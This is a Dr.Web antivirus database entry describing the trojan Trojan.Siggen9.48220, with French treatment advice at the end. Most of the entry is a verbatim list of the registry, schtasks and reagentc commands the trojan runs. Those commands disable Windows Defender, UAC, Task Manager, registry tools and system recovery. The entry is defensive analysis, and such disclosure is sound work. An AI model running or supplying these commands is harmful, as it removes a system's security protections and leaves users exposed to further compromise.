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Trojan.Siggen9.48220
Added to the Dr.Web virus database:
2020-05-21
Virus description added:
2020-05-23
Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)
Windows Defender
blocks the following features:
User Account Control (UAC)
modifies the following system settings:
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
Miscellaneous
Executes the following
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrc" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
'%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrc" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reagentc.exe' /disable
'%WINDIR%\syswow64\cmd.exe' /c reagentc.exe /disable
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\AVAST Software" /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete "HKLM\SOFTWARE\Wow6432Node\AVAST Software" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
'%WINDIR%\syswow64\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
'%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
'%WINDIR%\syswow64\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
'%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
'%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
'%WINDIR%\syswow64\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
'%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
'%WINDIR%\syswow64\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSampleConsent" /t REG_DWORD /d "2" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSampleConsent" /t REG_DWORD /d "2" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
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